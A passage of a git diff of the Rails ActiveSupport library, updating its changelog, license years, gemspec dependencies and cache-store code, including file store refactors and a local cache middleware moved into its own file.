+*   Remove deprecated methods `ActiveSupport::JSON::Encoding.encode_big_decimal_as_string=`
+    and `ActiveSupport::JSON::Encoding.encode_big_decimal_as_string`.
 
-*   Remove deprecated `ActiveSupport::BasicObject`, use `ActiveSupport::ProxyObject` instead.
+    *Rafael Mendonça França*
 
-    *Carlos Antonio da Silva*
+*   Remove deprecated `ActiveSupport::SafeBuffer#prepend`.
 
-*   Remove deprecated `BufferedLogger`.
+    *Rafael Mendonça França*
 
-    *Yves Senn*
+*   Remove deprecated methods at `Kernel`.
 
-*   Remove deprecated `assert_present` and `assert_blank` methods.
+    `silence_stderr`, `silence_stream`, `capture` and `quietly`.
 
-    *Yves Senn*
+    *Rafael Mendonça França*
 
-*   Fix return value from `BacktraceCleaner#noise` when the cleaner is configured
-    with multiple silencers.
+*   Remove deprecated `active_support/core_ext/big_decimal/yaml_conversions`
+    file.
 
-    Fixes #11030
+    *Rafael Mendonça França*
 
-    *Mark J. Titorenko*
+*   Remove deprecated methods `ActiveSupport::Cache::Store.instrument` and
+    `ActiveSupport::Cache::Store.instrument=`.
 
-*   `HashWithIndifferentAccess#select` now returns a `HashWithIndifferentAccess`
-    instance instead of a `Hash` instance.
+    *Rafael Mendonça França*
 
-    Fixes #10723
+*   Change the way in which callback chains can be halted.
 
-    *Albert Llop*
+    The preferred method to halt a callback chain from now on is to explicitly
+    `throw(:abort)`.
+    In the past, returning `false` in an ActiveSupport callback had the side
+    effect of halting the callback chain. This is not recommended anymore and,
+    depending on the value of
+    `Callbacks::CallbackChain.halt_and_display_warning_on_return_false`, will
+    either not work at all or display a deprecation warning.
 
-*   Add `DateTime#usec` and `DateTime#nsec` so that `ActiveSupport::TimeWithZone` keeps
-    sub-second resolution when wrapping a `DateTime` value.
+*   Add Callbacks::CallbackChain.halt_and_display_warning_on_return_false
 
-    Fixes #10855
+    Setting `Callbacks::CallbackChain.halt_and_display_warning_on_return_false`
+    to true will let an app support the deprecated way of halting callback
+    chains by returning `false`.
 
-    *Andrew White*
+    Setting the value to false will tell the app to ignore any `false` value
+    returned by callbacks, and only halt the chain upon `throw(:abort)`.
 
-*   Fix `ActiveSupport::Dependencies::Loadable#load_dependency` calling
-    `#blame_file!` on Exceptions that do not have the Blamable mixin
+    The value can also be set with the Rails configuration option
+    `config.active_support.halt_callback_chains_on_return_false`.
 
-    *Andrew Kreiling*
+    When the configuration option is missing, its value is `true`, so older apps
+    ported to Rails 5.0 will not break (but display a deprecation warning).
+    For new Rails 5.0 apps, its value is set to `false` in an initializer, so
+    these apps will support the new behavior by default.
 
-*   Override `Time.at` to support the passing of Time-like values when called with a single argument.
+    *claudiob*
 
-    *Andrew White*
+*   Changes arguments and default value of CallbackChain's :terminator option
 
-*   Prevent side effects to hashes inside arrays when
-    `Hash#with_indifferent_access` is called.
+    Chains of callbacks defined without an explicit `:terminator` option will
+    now be halted as soon as a `before_` callback throws `:abort`.
 
-    Fixes #10526
-
-    *Yves Senn*
+    Chains of callbacks defined with a `:terminator` option will maintain their
+    existing behavior of halting as soon as a `before_` callback matches the
+    terminator's expectation.
 
-*   Raise an error when multiple `included` blocks are defined for a Concern.
-    The old behavior would silently discard previously defined blocks, running
-    only the last one.
+    *claudiob*
 
-    *Mike Dillon*
+*   Deprecate `MissingSourceFile` in favor of `LoadError`.
 
-*   Replace `multi_json` with `json`.
+    `MissingSourceFile` was just an alias to `LoadError` and was not being
+    raised inside the framework.
 
-    Since Rails requires Ruby 1.9 and since Ruby 1.9 includes `json` in the standard library,
-    `multi_json` is no longer necessary.
+    *Rafael Mendonça França*
 
-    *Erik Michaels-Ober*
+*   Add support for error dispatcher classes in `ActiveSupport::Rescuable`.
+    Now it acts closer to Ruby's rescue.
 
-*   Added escaping of U+2028 and U+2029 inside the json encoder.
-    These characters are legal in JSON but break the Javascript interpreter.
-    After escaping them, the JSON is still legal and can be parsed by Javascript.
+    Example:
 
-    *Mario Caropreso + Viktor Kelemen + zackham*
+        class BaseController < ApplicationController
+          module ErrorDispatcher
+            def self.===(other)
+              Exception === other && other.respond_to?(:status)
+            end
+          end
 
-*   Fix skipping object callbacks using metadata fetched via callback chain
-    inspection methods (`_*_callbacks`)
+          rescue_from ErrorDispatcher do |error|
+            render status: error.status, json: { error: error.to_s }
+          end
+        end
 
-    *Sean Walbran*
+    *Genadi Samokovarov*
 
-*   Add a `fetch_multi` method to the cache stores. The method provides
-    an easy to use API for fetching multiple values from the cache.
+*   Add `#verified` and `#valid_message?` methods to `ActiveSupport::MessageVerifier`
 
-    Example:
+    Previously, the only way to decode a message with `ActiveSupport::MessageVerifier`
+    was to use `#verify`, which would raise an exception on invalid messages. Now
+    `#verified` can also be used, which returns `nil` on messages that cannot be
+    decoded.
 
-        # Calculating scores is expensive, so we only do it for posts
-        # that have been updated. Cache keys are automatically extracted
-        # from objects that define a #cache_key method.
-        scores = Rails.cache.fetch_multi(*posts) do |post|
-          calculate_score(post)
-        end
+    Previously, there was no way to check if a message's format was valid without
+    attempting to decode it. `#valid_message?` is a boolean convenience method that
+    checks whether the message is valid without actually decoding it.
 
-    *Daniel Schierbeck*
+    *Logan Leger*
 
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for previous changes.
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activesupport/CHANGELOG.md) for previous changes.
diff --git a/activesupport/MIT-LICENSE b/activesupport/MIT-LICENSE
index 6aeeb7132d..7bffebb076 100644
--- a/activesupport/MIT-LICENSE
+++ b/activesupport/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2005-2013 David Heinemeier Hansson
+Copyright (c) 2005-2015 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/activesupport/README.rdoc b/activesupport/README.rdoc
index f3582767c0..a6424a353a 100644
--- a/activesupport/README.rdoc
+++ b/activesupport/README.rdoc
@@ -30,6 +30,11 @@ API documentation is at:
 
 * http://api.rubyonrails.org
 
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on Rails project here:
 
 * https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/activesupport/Rakefile b/activesupport/Rakefile
index 5ba153662a..7c40df8dc8 100644
--- a/activesupport/Rakefile
+++ b/activesupport/Rakefile
@@ -7,9 +7,9 @@ Rake::TestTask.new do |t|
   t.pattern = 'test/**/*_test.rb'
   t.warning = true
   t.verbose = true
+  t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
 end
 
-
 namespace :test do
   task :isolated do
     Dir.glob("test/**/*_test.rb").all? do |file|
diff --git a/activesupport/activesupport.gemspec b/activesupport/activesupport.gemspec
index ffc2c2074e..a5339e6475 100644
--- a/activesupport/activesupport.gemspec
+++ b/activesupport/activesupport.gemspec
@@ -7,7 +7,7 @@ Gem::Specification.new do |s|
   s.summary     = 'A toolkit of support libraries and Ruby core extensions extracted from the Rails framework.'
   s.description = 'A toolkit of support libraries and Ruby core extensions extracted from the Rails framework. Rich support for multibyte strings, internationalization, time zones, and testing.'
 
-  s.required_ruby_version = '>= 1.9.3'
+  s.required_ruby_version = '>= 2.2.0'
 
   s.license = 'MIT'
 
@@ -20,9 +20,9 @@ Gem::Specification.new do |s|
 
   s.rdoc_options.concat ['--encoding',  'UTF-8']
 
-  s.add_dependency('i18n',       '~> 0.6', '>= 0.6.4')
-  s.add_dependency 'json',       '~> 1.7'
-  s.add_dependency 'tzinfo',     '~> 0.3.37'
-  s.add_dependency 'minitest',   '~> 5.0'
-  s.add_dependency 'thread_safe','~> 0.1'
+  s.add_dependency 'i18n',       '~> 0.7'
+  s.add_dependency 'json',       '~> 1.7', '>= 1.7.7'
+  s.add_dependency 'tzinfo',     '~> 1.1'
+  s.add_dependency 'minitest',   '~> 5.1'
+  s.add_dependency 'thread_safe','~> 0.3', '>= 0.3.4'
 end
diff --git a/activesupport/bin/generate_tables b/activesupport/bin/generate_tables
index 5fefa429df..71a6b78652 100755
--- a/activesupport/bin/generate_tables
+++ b/activesupport/bin/generate_tables
@@ -28,12 +28,6 @@ module ActiveSupport
 
         def initialize
           @ucd = Unicode::UnicodeDatabase.new
-
-          default = Codepoint.new
-          default.combining_class = 0
-          default.uppercase_mapping = 0
-          default.lowercase_mapping = 0
-          @ucd.codepoints = Hash.new(default)
         end
 
         def parse_codepoints(line)
@@ -61,7 +55,7 @@ module ActiveSupport
           codepoint.combining_class   = Integer($4)
           #codepoint.bidi_class        = $5
           codepoint.decomp_type       = $7
-          codepoint.decomp_mapping    = ($8=='') ? nil : $8.split.collect { |element| element.hex }
+          codepoint.decomp_mapping    = ($8=='') ? nil : $8.split.collect(&:hex)
           #codepoint.bidi_mirrored     = ($13=='Y') ? true : false
           codepoint.uppercase_mapping = ($16=='') ? 0 : $16.hex
           codepoint.lowercase_mapping = ($17=='') ? 0 : $17.hex
diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb
index 5e1fe9e556..290920dbf8 100644
--- a/activesupport/lib/active_support.rb
+++ b/activesupport/lib/active_support.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2005-2013 David Heinemeier Hansson
+# Copyright (c) 2005-2015 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -52,6 +52,7 @@ module ActiveSupport
     autoload :MessageEncryptor
     autoload :MessageVerifier
     autoload :Multibyte
+    autoload :NumberHelper
     autoload :OptionMerger
     autoload :OrderedHash
     autoload :OrderedOptions
@@ -63,6 +64,14 @@ module ActiveSupport
   autoload :Rescuable
   autoload :SafeBuffer, "active_support/core_ext/string/output_safety"
   autoload :TestCase
+
+  def self.eager_load!
+    super
+
+    NumberHelper.eager_load!
+  end
+
+  cattr_accessor :test_order # :nodoc:
 end
 
 autoload :I18n, "active_support/i18n"
diff --git a/activesupport/lib/active_support/all.rb b/activesupport/lib/active_support/all.rb
index 151008bbaa..f537818300 100644
--- a/activesupport/lib/active_support/all.rb
+++ b/activesupport/lib/active_support/all.rb
@@ -1,4 +1,3 @@
 require 'active_support'
-require 'active_support/deprecation'
 require 'active_support/time'
 require 'active_support/core_ext'
diff --git a/activesupport/lib/active_support/backtrace_cleaner.rb b/activesupport/lib/active_support/backtrace_cleaner.rb
index c88ae3e661..d06f22ad5c 100644
--- a/activesupport/lib/active_support/backtrace_cleaner.rb
+++ b/activesupport/lib/active_support/backtrace_cleaner.rb
@@ -13,7 +13,7 @@ module ActiveSupport
   # can focus on the rest.
   #
   #   bc = BacktraceCleaner.new
-  #   bc.add_filter   { |line| line.gsub(Rails.root, '') } # strip the Rails.root prefix
+  #   bc.add_filter   { |line| line.gsub(Rails.root.to_s, '') } # strip the Rails.root prefix
   #   bc.add_silencer { |line| line =~ /mongrel|rubygems/ } # skip any lines from mongrel or rubygems
   #   bc.clean(exception.backtrace) # perform the cleanup
   #
@@ -22,7 +22,7 @@ module ActiveSupport
   # <tt>BacktraceCleaner#remove_silencers!</tt>, which will restore the
   # backtrace to a pristine state. If you need to reconfigure an existing
   # BacktraceCleaner so that it does not filter or modify the paths of any lines
-  # of the backtrace, you can call <tt>BacktraceCleaner#remove_filters!<tt>
+  # of the backtrace, you can call <tt>BacktraceCleaner#remove_filters!</tt>
   # These two methods will give you a completely untouched backtrace.
   #
   # Inspired by the Quiet Backtrace gem by Thoughtbot.
@@ -65,14 +65,14 @@ module ActiveSupport
       @silencers << block
     end
 
-    # Will remove all silencers, but leave in the filters. This is useful if
-    # your context of debugging suddenly expands as you suspect a bug in one of
+    # Removes all silencers, but leaves in the filters. Useful if your
+    # context of debugging suddenly expands as you suspect a bug in one of
     # the libraries you use.
     def remove_silencers!
       @silencers = []
     end
 
-    # Removes all filters, but leaves in silencers. Useful if you suddenly
+    # Removes all filters, but leaves in the silencers. Useful if you suddenly
     # need to see entire filepaths in the backtrace that you had already
     # filtered out.
     def remove_filters!
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
index 308a1b2cd9..3a1e1ac3a1 100644
--- a/activesupport/lib/active_support/cache.rb
+++ b/activesupport/lib/active_support/cache.rb
@@ -3,7 +3,7 @@ require 'zlib'
 require 'active_support/core_ext/array/extract_options'
 require 'active_support/core_ext/array/wrap'
 require 'active_support/core_ext/benchmark'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/numeric/bytes'
 require 'active_support/core_ext/numeric/time'
 require 'active_support/core_ext/object/to_param'
@@ -12,10 +12,10 @@ require 'active_support/core_ext/string/inflections'
 module ActiveSupport
   # See ActiveSupport::Cache::Store for documentation.
   module Cache
-    autoload :FileStore, 'active_support/cache/file_store'
-    autoload :MemoryStore, 'active_support/cache/memory_store'
+    autoload :FileStore,     'active_support/cache/file_store'
+    autoload :MemoryStore,   'active_support/cache/memory_store'
     autoload :MemCacheStore, 'active_support/cache/mem_cache_store'
-    autoload :NullStore, 'active_support/cache/null_store'
+    autoload :NullStore,     'active_support/cache/null_store'
 
     # These options mean something to all cache implementations. Individual cache
     # implementations may support additional options.
@@ -88,25 +88,24 @@ module ActiveSupport
       end
 
       private
+        def retrieve_cache_key(key)
+          case
+          when key.respond_to?(:cache_key) then key.cache_key
+          when key.is_a?(Array)            then key.map { |element| retrieve_cache_key(element) }.to_param
+          when key.respond_to?(:to_a)      then retrieve_cache_key(key.to_a)
+          else                                  key.to_param
+          end.to_s
+        end
 
-      def retrieve_cache_key(key)
-        case
-        when key.respond_to?(:cache_key) then key.cache_key
-        when key.is_a?(Array)            then key.map { |element| retrieve_cache_key(element) }.to_param
-        when key.respond_to?(:to_a)      then retrieve_cache_key(key.to_a)
-        else                                  key.to_param
-        end.to_s
-      end
-
-      # Obtains the specified cache store class, given the name of the +store+.
-      # Raises an error when the store class cannot be found.
-      def retrieve_store_class(store)
-        require "active_support/cache/#{store}"
-      rescue LoadError => e
-        raise "Could not find cache store adapter for #{store} (#{e})"
-      else
-        ActiveSupport::Cache.const_get(store.to_s.camelize)
-      end
+        # Obtains the specified cache store class, given the name of the +store+.
+        # Raises an error when the store class cannot be found.
+        def retrieve_store_class(store)
+          require "active_support/cache/#{store}"
+        rescue LoadError => e
+          raise "Could not find cache store adapter for #{store} (#{e})"
+        else
+          ActiveSupport::Cache.const_get(store.to_s.camelize)
+        end
     end
 
     # An abstract cache store class. There are multiple cache store
@@ -153,7 +152,6 @@ module ActiveSupport
     # or +write+. To specify the threshold at which to compress values, set the
     # <tt>:compress_threshold</tt> option. The default threshold is 16K.
     class Store
-
       cattr_accessor :logger, :instance_writer => true
 
       attr_reader :silence, :options
@@ -180,16 +178,6 @@ module ActiveSupport
         @silence = previous_silence
       end
 
-      # Set to +true+ if cache stores should be instrumented.
-      # Default is +false+.
-      def self.instrument=(boolean)
-        Thread.current[:instrument_cache_store] = boolean
-      end
-
-      def self.instrument
-        Thread.current[:instrument_cache_store] || false
-      end
-
       # Fetches data from the cache, using the given key. If there is data in
       # the cache with the given key, then that data is returned.
       #
@@ -234,9 +222,9 @@ module ActiveSupport
       # bump the cache expiration time by the value set in <tt>:race_condition_ttl</tt>.
       # Yes, this process is extending the time for a stale value by another few
       # seconds. Because of extended life of the previous cache, other processes
-      # will continue to use slightly stale data for a just a big longer. In the
+      # will continue to use slightly stale data for a just a bit longer. In the
       # meantime that first process will go ahead and will write into cache the
-      # new value. After that all the processes will start getting new value.
+      # new value. After that all the processes will start getting the new value.
       # The key is to keep <tt>:race_condition_ttl</tt> small.
       #
       # If the process regenerating the entry errors out, the entry will be
@@ -359,20 +347,19 @@ module ActiveSupport
       #
       # Options are passed to the underlying cache implementation.
       #
-      # Returns an array with the data for each of the names. For example:
+      # Returns a hash with the data for each of the names. For example:
       #
       #   cache.write("bim", "bam")
-      #   cache.fetch_multi("bim", "boom") {|key| key * 2 }
-      #   #=> ["bam", "boomboom"]
+      #   cache.fetch_multi("bim", "boom") { |key| key * 2 }
+      #   # => { "bam" => "bam", "boom" => "boomboom" }
       #
       def fetch_multi(*names)
         options = names.extract_options!
         options = merged_options(options)
-
         results = read_multi(*names, options)
 
-        names.map do |name|
-          results.fetch(name) do
+        names.each_with_object({}) do |name, memo|
+          memo[name] = results.fetch(name) do
             value = yield name
             write(name, value, options)
             value
@@ -385,6 +372,7 @@ module ActiveSupport
       # Options are passed to the underlying cache implementation.
       def write(name, value, options = nil)
         options = merged_options(options)
+
         instrument(:write, name, options) do
           entry = Entry.new(value, options)
           write_entry(namespaced_key(name, options), entry, options)
@@ -396,16 +384,18 @@ module ActiveSupport
       # Options are passed to the underlying cache implementation.
       def delete(name, options = nil)
         options = merged_options(options)
+
         instrument(:delete, name) do
           delete_entry(namespaced_key(name, options), options)
         end
       end
 
-      # Return +true+ if the cache contains an entry for the given key.
+      # Returns +true+ if the cache contains an entry for the given key.
       #
       # Options are passed to the underlying cache implementation.
       def exist?(name, options = nil)
         options = merged_options(options)
+
         instrument(:exist?, name) do
           entry = read_entry(namespaced_key(name, options), options)
           (entry && !entry.expired?) || false
@@ -451,7 +441,7 @@ module ActiveSupport
       # Clear the entire cache. Be careful with this method since it could
       # affect other processes if shared cache is being used.
       #
-      # Options are passed to the underlying cache implementation.
+      # The options hash is passed to the underlying cache implementation.
       #
       # All implementations may not support this method.
       def clear(options = nil)
@@ -539,13 +529,9 @@ module ActiveSupport
         def instrument(operation, key, options = nil)
           log(operation, key, options)
 
-          if self.class.instrument
-            payload = { :key => key }
-            payload.merge!(options) if options.is_a?(Hash)
-            ActiveSupport::Notifications.instrument("cache_#{operation}.active_support", payload){ yield(payload) }
-          else
-            yield(nil)
-          end
+          payload = { :key => key }
+          payload.merge!(options) if options.is_a?(Hash)
+          ActiveSupport::Notifications.instrument("cache_#{operation}.active_support", payload){ yield(payload) }
         end
 
         def log(operation, key, options = nil)
@@ -585,6 +571,7 @@ module ActiveSupport
           result = instrument(:generate, name, options) do |payload|
             yield(name)
           end
+
           write(name, result, options)
           result
         end
@@ -608,20 +595,19 @@ module ActiveSupport
         else
           @value = value
         end
+
         @created_at = Time.now.to_f
         @expires_in = options[:expires_in]
         @expires_in = @expires_in.to_f if @expires_in
       end
 
       def value
-        convert_version_4beta1_entry! if defined?(@v)
         compressed? ? uncompress(@value) : @value
       end
 
       # Check if the entry is expired. The +expires_in+ parameter can override
       # the value set when the entry was created.
       def expired?
-        convert_version_4beta1_entry! if defined?(@value)
         @expires_in && @created_at + @expires_in <= Time.now.to_f
       end
 
@@ -657,7 +643,6 @@ module ActiveSupport
       # Duplicate the value in a class. This is used by cache implementations that don't natively
       # serialize entries to protect against accidental cache modifications.
       def dup_value!
-        convert_version_4beta1_entry! if defined?(@v)
         if @value && !compressed? && !(@value.is_a?(Numeric) || @value == true || @value == false)
           if @value.is_a?(String)
             @value = @value.dup
@@ -672,8 +657,10 @@ module ActiveSupport
           if value && options[:compress]
             compress_threshold = options[:compress_threshold] || DEFAULT_COMPRESS_LIMIT
             serialized_value_size = (value.is_a?(String) ? value : Marshal.dump(value)).bytesize
+
             return true if serialized_value_size >= compress_threshold
           end
+
           false
         end
 
@@ -688,24 +675,6 @@ module ActiveSupport
         def uncompress(value)
           Marshal.load(Zlib::Inflate.inflate(value))
         end
-
-        # The internals of this method changed between Rails 3.x and 4.0. This method provides the glue
-        # to ensure that cache entries created under the old version still work with the new class definition.
-        def convert_version_4beta1_entry!
-          if defined?(@v)
-            @value = @v
-            remove_instance_variable(:@v)
-          end
-          if defined?(@c)
-            @compressed = @c
-            remove_instance_variable(:@c)
-          end
-          if defined?(@x) && @x
-            @created_at ||= Time.now.to_f
-            @expires_in = @x - @created_at
-            remove_instance_variable(:@x)
-          end
-        end
     end
   end
 end
diff --git a/activesupport/lib/active_support/cache/file_store.rb b/activesupport/lib/active_support/cache/file_store.rb
index 472f23c1c5..d08ecd2f7d 100644
--- a/activesupport/lib/active_support/cache/file_store.rb
+++ b/activesupport/lib/active_support/cache/file_store.rb
@@ -14,6 +14,7 @@ module ActiveSupport
 
       DIR_FORMATTER = "%03X"
       FILENAME_MAX_SIZE = 228 # max filename size on file system is 255, minus room for timestamp and random characters appended by Tempfile (used by atomic write)
+      FILEPATH_MAX_SIZE = 900 # max is 1024, plus some room
       EXCLUDED_DIRS = ['.', '..'].freeze
 
       def initialize(cache_path, options = nil)
@@ -22,18 +23,19 @@ module ActiveSupport
         extend Strategy::LocalCache
       end
 
-      # Deletes all items from the cache. In this case it deletes all the entries in the specified 
-      # file store directory except for .gitkeep. Be careful which directory is specified in your 
+      # Deletes all items from the cache. In this case it deletes all the entries in the specified
+      # file store directory except for .gitkeep. Be careful which directory is specified in your
       # config file when using +FileStore+ because everything in that directory will be deleted.
       def clear(options = nil)
         root_dirs = Dir.entries(cache_path).reject {|f| (EXCLUDED_DIRS + [".gitkeep"]).include?(f)}
         FileUtils.rm_r(root_dirs.collect{|f| File.join(cache_path, f)})
       end
 
-      # Premptively iterates through all stored keys and removes the ones which have expired.
+      # Preemptively iterates through all stored keys and removes the ones which have expired.
       def cleanup(options = nil)
         options = merged_options(options)
-        each_key(options) do |key|
+        search_dir(cache_path) do |fname|
+          key = file_path_key(fname)
           entry = read_entry(key, options)
           delete_entry(key, options) if entry && entry.expired?
         end
@@ -42,33 +44,13 @@ module ActiveSupport
       # Increments an already existing integer value that is stored in the cache.
       # If the key is not found nothing is done.
       def increment(name, amount = 1, options = nil)
-        file_name = key_file_path(namespaced_key(name, options))
-        lock_file(file_name) do
-          options = merged_options(options)
-          if num = read(name, options)
-            num = num.to_i + amount
-            write(name, num, options)
-            num
-          else
-            nil
-          end
-        end
+        modify_value(name, amount, options)
       end
 
       # Decrements an already existing integer value that is stored in the cache.
       # If the key is not found nothing is done.
       def decrement(name, amount = 1, options = nil)
-        file_name = key_file_path(namespaced_key(name, options))
-        lock_file(file_name) do
-          options = merged_options(options)
-          if num = read(name, options)
-            num = num.to_i - amount
-            write(name, num, options)
-            num
-          else
-            nil
-          end
-        end
+        modify_value(name, -amount, options)
       end
 
       def delete_matched(matcher, options = nil)
@@ -96,6 +78,7 @@ module ActiveSupport
 
         def write_entry(key, entry, options)
           file_name = key_file_path(key)
+          return false if options[:unless_exist] && File.exist?(file_name)
           ensure_cache_path(File.dirname(file_name))
           File.atomic_write(file_name, cache_path) {|f| Marshal.dump(entry, f)}
           true
@@ -135,6 +118,10 @@ module ActiveSupport
 
         # Translate a key into a file path.
         def key_file_path(key)
+          if key.size > FILEPATH_MAX_SIZE
+            key = Digest::MD5.hexdigest(key)
+          end
+
           fname = URI.encode_www_form_component(key)
           hash = Zlib.adler32(fname)
           hash, dir_1 = hash.divmod(0x1000)
@@ -182,6 +169,22 @@ module ActiveSupport
             end
           end
         end
+
+        # Modifies the amount of an already existing integer value that is stored in the cache.
+        # If the key is not found nothing is done.
+        def modify_value(name, amount, options)
+          file_name = key_file_path(namespaced_key(name, options))
+
+          lock_file(file_name) do
+            options = merged_options(options)
+
+            if num = read(name, options)
+              num = num.to_i + amount
+              write(name, num, options)
+              num
+            end
+          end
+        end
     end
   end
 end
diff --git a/activesupport/lib/active_support/cache/mem_cache_store.rb b/activesupport/lib/active_support/cache/mem_cache_store.rb
index 512296554f..61b4f0b8b0 100644
--- a/activesupport/lib/active_support/cache/mem_cache_store.rb
+++ b/activesupport/lib/active_support/cache/mem_cache_store.rb
@@ -41,17 +41,15 @@ module ActiveSupport
       #
       # If no addresses are specified, then MemCacheStore will connect to
       # localhost port 11211 (the default memcached port).
-      #
-      # Instead of addresses one can pass in a MemCache-like object. For example:
-      #
-      #   require 'memcached' # gem install memcached; uses C bindings to libmemcached
-      #   ActiveSupport::Cache::MemCacheStore.new(Memcached::Rails.new("localhost:11211"))
       def initialize(*addresses)
         addresses = addresses.flatten
         options = addresses.extract_options!
         super(options)
 
-        if addresses.first.respond_to?(:get)
+        unless [String, Dalli::Client, NilClass].include?(addresses.first.class)
+          raise ArgumentError, "First argument must be an empty array, an array of hosts or a Dalli::Client instance."
+        end
+        if addresses.first.is_a?(Dalli::Client)
           @data = addresses.first
         else
           mem_cache_options = options.dup
@@ -87,7 +85,7 @@ module ActiveSupport
         instrument(:increment, name, :amount => amount) do
           @data.incr(escape_key(namespaced_key(name, options)), amount)
         end
-      rescue Dalli::DalliError
+      rescue Dalli::DalliError => e
         logger.error("DalliError (#{e}): #{e.message}") if logger
         nil
       end
@@ -101,7 +99,7 @@ module ActiveSupport
         instrument(:decrement, name, :amount => amount) do
           @data.decr(escape_key(namespaced_key(name, options)), amount)
         end
-      rescue Dalli::DalliError
+      rescue Dalli::DalliError => e
         logger.error("DalliError (#{e}): #{e.message}") if logger
         nil
       end
diff --git a/activesupport/lib/active_support/cache/memory_store.rb b/activesupport/lib/active_support/cache/memory_store.rb
index 34ac91334a..8a0523d0e2 100644
--- a/activesupport/lib/active_support/cache/memory_store.rb
+++ b/activesupport/lib/active_support/cache/memory_store.rb
@@ -36,7 +36,7 @@ module ActiveSupport
         end
       end
 
-      # Premptively iterates through all stored keys and removes the ones which have expired.
+      # Preemptively iterates through all stored keys and removes the ones which have expired.
       def cleanup(options = nil)
         options = merged_options(options)
         instrument(:cleanup, :size => @data.size) do
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache.rb b/activesupport/lib/active_support/cache/strategy/local_cache.rb
index fb42c4a41e..73c6b3cb88 100644
--- a/activesupport/lib/active_support/cache/strategy/local_cache.rb
+++ b/activesupport/lib/active_support/cache/strategy/local_cache.rb
@@ -1,5 +1,6 @@
 require 'active_support/core_ext/object/duplicable'
 require 'active_support/core_ext/string/inflections'
+require 'active_support/per_thread_registry'
 
 module ActiveSupport
   module Cache
@@ -8,6 +9,8 @@ module ActiveSupport
       # duration of a block. Repeated calls to the cache for the same key will hit the
       # in-memory cache for faster access.
       module LocalCache
+        autoload :Middleware, 'active_support/cache/strategy/local_cache_middleware'
+
         # Class for storing and registering the local caches.
         class LocalCacheRegistry # :nodoc:
           extend ActiveSupport::PerThreadRegistry
@@ -23,6 +26,9 @@ module ActiveSupport
           def set_cache_for(local_cache_key, value)
             @registry[local_cache_key] = value
           end
+
+          def self.set_cache_for(l, v); instance.set_cache_for l, v; end
+          def self.cache_for(l); instance.cache_for l; end
         end
 
         # Simple memory backed cache. This cache is not thread safe and is intended only
@@ -60,32 +66,6 @@ module ActiveSupport
         def with_local_cache
           use_temporary_local_cache(LocalStore.new) { yield }
         end
-
-        #--
-        # This class wraps up local storage for middlewares. Only the middleware method should
-        # construct them.
-        class Middleware # :nodoc:
-          attr_reader :name, :local_cache_key
-
-          def initialize(name, local_cache_key)
-            @name             = name
-            @local_cache_key = local_cache_key
-            @app              = nil
-          end
-
-          def new(app)
-            @app = app
-            self
-          end
-
-          def call(env)
-            LocalCacheRegistry.set_cache_for(local_cache_key, LocalStore.new)
-            @app.call(env)
-          ensure
-            LocalCacheRegistry.set_cache_for(local_cache_key, nil)
-          end
-        end
-
         # Middleware class can be inserted as a Rack handler to be local cache for the
         # duration of request.
         def middleware
@@ -106,13 +86,13 @@ module ActiveSupport
 
         def increment(name, amount = 1, options = nil) # :nodoc:
           value = bypass_local_cache{super}
-          increment_or_decrement(value, name, amount, options)
+          set_cache_value(value, name, amount, options)
           value
         end
 
         def decrement(name, amount = 1, options = nil) # :nodoc:
           value = bypass_local_cache{super}
-          increment_or_decrement(value, name, amount, options)
+          set_cache_value(value, name, amount, options)
           value
         end
 
@@ -140,8 +120,7 @@ module ActiveSupport
             super
           end
 
-        private
-          def increment_or_decrement(value, name, amount, options)
+          def set_cache_value(value, name, amount, options)
             if local_cache
               local_cache.mute do
                 if value
@@ -153,6 +132,8 @@ module ActiveSupport
             end
           end
 
+        private
+
           def local_cache_key
             @local_cache_key ||= "#{self.class.name.underscore}_local_cache_#{object_id}".gsub(/[\/-]/, '_').to_sym
           end
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb b/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb
new file mode 100644
index 0000000000..a6f24b1a3c
--- /dev/null
+++ b/activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb
@@ -0,0 +1,44 @@
+require 'rack/body_proxy'
+require 'rack/utils'
+
+module ActiveSupport
+  module Cache
+    module Strategy
+      module LocalCache
+
+        #--
+        # This class wraps up local storage for middlewares. Only the middleware method should
+        # construct them.
+        class Middleware # :nodoc:
+          attr_reader :name, :local_cache_key
+
+          def initialize(name, local_cache_key)
+            @name             = name
+            @local_cache_key = local_cache_key
+            @app              = nil
+          end
+
+          def new(app)
+            @app = app
+            self
+          end
+
+          def call(env)
+            LocalCacheRegistry.set_cache_for(local_cache_key, LocalStore.new)
+            response = @app.call(env)
+            response[2] = ::Rack::BodyProxy.new(response[2]) do
+              LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+            end
+            response
+          rescue Rack::Utils::InvalidParameterError
+            LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+            [400, {}, []]
+          rescue Exception
+            LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+            raise
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb
index 5c738572a8..51cf468d2b 100644
--- a/activesupport/lib/active_support/callbacks.rb
+++ b/activesupport/lib/active_support/callbacks.rb
@@ -4,17 +4,18 @@ require 'active_support/core_ext/array/extract_options'
 require 'active_support/core_ext/class/attribute'
 require 'active_support/core_ext/kernel/reporting'
 require 'active_support/core_ext/kernel/singleton_class'
